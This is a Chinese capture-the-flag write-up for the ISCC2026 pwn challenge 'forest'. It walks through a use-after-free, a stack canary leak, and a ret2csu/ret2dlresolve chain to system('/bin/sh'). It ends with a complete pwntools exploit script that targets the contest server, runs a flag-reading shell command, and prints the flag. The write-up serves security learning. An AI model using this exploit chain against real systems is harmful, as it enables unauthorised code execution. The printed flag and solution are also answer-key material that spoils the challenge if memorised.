PWN-forest

ISCC2026 WriteUp 提交模板

题目类型+题目名称

解题思路

1.checksec

image.png

附件是 amd64、No PIE、Canary found、NX enabled 。

image.png 90|446

main() 先调用 forest_lock_one(),然后判断全局变量 key 是否等于 0x7ea

image.png

可以看到p1是个比较明显的UAF,其次就是这里p1申请后,很快就释放了。紧接着又一个申请,我们继续申请0x64的话,就可以申请到同一块堆了。

所以这里先输入100,再输入magic即可。

image.png

这样程序就可以进入forest_lock_two()

image.png

由于我们修改key == 2026,所以这里会直接返回。

image.png

我们继续走的逻辑是这个。这了buf是0x20,所以其实是个栈溢出。又紧接着的printf(%sxxx,buf),又是个标准的格式化漏洞。相互配合可以泄露canary。

计算下发现:buf是从0x20开始,canary是从0x8开始,有:0x20 - 0x8 = 0x18 = 24。
所以我们发送24+1个字节就可以带出Canary。

2.第二次栈溢出,打 ret2dlresolve。

利用思路是这样的:

  1. 先用一段ROP伪造重定位结构
  2. 再跳到 plt[0] 让其解析执行system

搜索发现缺了pop rdx ; ret,所以用次ret2csu:

image.png

错一字节就是:`POP_RDI = 0x401763

image.png

image.png

RET      = 0x40101a
POP_RDI  = 0x401763
CSU_CALL = 0x401740
CSU_POP  = 0x40175a
PLT0     = 0x401020

其次Pwntools中的Ret2dlresolvePayload 会自动帮我们生成伪造结构:

dlresolve.data_addr = 0x404e00
payload length      = 40
"/bin/sh" offset    = 32

reloc_index可能会随pwntools实现细节改变,我们就动态获取dlresolve.reloc_index。

这里补一个详细的解释:

RET = 0x40101A            #栈对齐
POP_RDI = 0x401763        #pop rdi | retn
CSU_CALL = 0x401740       #r14 -> rdx,r13 -> rsi,r12d -> edi
CSU_POP = 0x40175A        #6个pop,加retn
PLT0 = elf.get_section_by_name(".plt").header.sh_addr
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=[b"/bin/sh"])

def build_overflow(canary):
    shell_ptr = dlresolve.data_addr + dlresolve.payload.find(b"/bin/sh")
    chain = flat(
        RET,
        CSU_POP,  
        0,         #rbx
        1,         #rbp 
        0,         #r12 ,在 CSU_CALL 里会 mov edi, r12d,相当于 read 的第 1 个参数。
        dlresolve.data_addr,  #r13,在 CSU_CALL 里会 mov rsi, r13,相当于 read 的第 2 个参数.
        len(dlresolve.payload), #r14,在 CSU_CALL 里会 mov rdx, r14.相当于 read 的第 3 个参数
        elf.got["read"],        #r15 在 CSU_CALL 里会 call qword ptr [r15 + rbx*8],因为 rbx = 0,所以就是 call [read@got]。
        CSU_CALL,
        0,                      #这几个都是垃圾填充
        0,
        0,
        0,
        0,
        0,
        0,
        POP_RDI,              #
        shell_ptr,  #rdi 
        PLT0,       #进入动态解析器跳板
        dlresolve.reloc_index,  #给动态解析器的重定位索引配合伪造的 dlresolve 数据,解析出 system
    )

完整利用链就是:

  1. UAF
  2. read泄露canary
  3. 第二次read打retcsu
  4. 调用read(0, dlresolve.data_addr, len(dlresolve.payload))
  5. 再执行 pop rdi ; ret,把 /bin/sh 地址放进 `rdi
  6. 跳到 plt[0] 并带上 dlresolve.reloc_index,让动态链接器解析 `system
  7. 执行 system("/bin/sh") 后发送 `cat /flag*

image.png
ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2}

Exp

from pwn import *
import re

#==============全局配置=======================
ELFpath = "./attachment-56"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10001
NOASLR = False

#===============初始化=======================
context(os="linux", arch="amd64", log_level="info")
elf = ELF(ELFpath, checksec=False)
if LOCAL:
    io = process(ELFpath, aslr=not NOASLR)
else:
    io = remote(HOST, PORT, timeout=5)

#=================简化=====================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

#====================业务常量====================
RET = 0x40101A
POP_RDI = 0x401763
CSU_CALL = 0x401740
CSU_POP = 0x40175A
PLT0 = elf.get_section_by_name(".plt").header.sh_addr
CANARY_OFFSET = 24
SUFFIX = b" ... A curious gift indeed."
FLAG_REGEX = re.compile(rb"ISCC\{[^}]+\}")
POST_SHELL_COMMAND = (
    b"cat /flag* 2>/dev/null || "
    b"cat /flag 2>/dev/null || "
    b"find / -maxdepth 3 -name 'flag*' -exec cat {} \\; 2>/dev/null"
)

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=[b"/bin/sh"])


def pass_forest_lock():
    sla(b"Traveler, recite the count of your wizard's note:", b"100")
    sla(b"Carve your incantation on the rune sheet!", b"magic")


def leak_canary():
    probe = b"A" * CANARY_OFFSET + b"B"
    sda(b"What do you sacrifice?", probe)
    ru(probe)
    leak = ru(SUFFIX, drop=True)
    return u64(b"\x00" + leak[:7])


def build_overflow(canary):
    shell_ptr = dlresolve.data_addr + dlresolve.payload.find(b"/bin/sh")
    chain = flat(
        RET,
        CSU_POP,
        0,
        1,
        0,
        dlresolve.data_addr,
        len(dlresolve.payload),
        elf.got["read"],
        CSU_CALL,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        POP_RDI,
        shell_ptr,
        PLT0,
        dlresolve.reloc_index,
    )
    return flat(
        b"A" * CANARY_OFFSET,
        canary,
        b"B" * 8,
        chain,
    )


def attack():
    pass_forest_lock()

    canary = leak_canary()
    log.success(f"canary = {hex(canary)}")

    overflow = build_overflow(canary)
    sd(overflow)
    ru(b"The ghost answers with warmth.\n")

    sd(dlresolve.payload)
    sl(POST_SHELL_COMMAND)

    data = io.recvrepeat(3)
    match = FLAG_REGEX.search(data)
    if not match:
        log.failure(f"unexpected output: {data!r}")
        return

    flag = match.group().decode()
    log.success(flag)
    print(flag)


attack()
io.close()
posted @ 2026-05-19 16:28  MillionMind  阅读(20)  评论(0)    收藏  举报